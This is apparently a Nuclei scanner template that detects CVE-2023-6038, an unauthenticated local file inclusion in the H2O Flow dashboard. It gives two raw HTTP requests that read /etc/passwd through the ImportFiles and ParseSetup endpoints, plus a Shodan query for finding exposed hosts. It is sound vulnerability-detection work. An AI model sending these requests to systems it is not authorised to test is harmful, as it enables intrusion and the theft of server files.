id: CVE-2023-6038

info:
  name: H2O ImportFiles - Local File Inclusion
  author: danmcinerney,byt3bl33d3r
  severity: high
  description: |
    An attacker is able to read any file on the server hosting the H2O dashboard without any authentication.
  reference:
    - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6038
    - https://github.com/h2o/h2o
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6038
    cwe-id: CWE-862,CWE-29
    epss-score: 0.05392
    epss-percentile: 0.92391
    cpe: cpe:2.3:a:h2o:h2o:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: h2o
    product: h2o
    shodan-query: title:"H2O Flow"
  tags: cve,cve2023,h2o-3,h2o,ml

http:
  - raw:
      - |
        GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /3/ParseSetup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'ImportFilesV3')"
          - "regex('root:.*:0:0:', body_2)"
          - "status_code_2 == 200"
        condition: and
# digest: 4a0a00473045022100d23a99051d0ca3c7ed9f00df5f9dff40fc14d7bbfe4a1a21e9996fe7df89f8cb02203a1b3dbd2ab774f9296aada9f5de5d759852382066531edbe9b558c90f0e5322:922c64590222798bb761d5b6d8e72950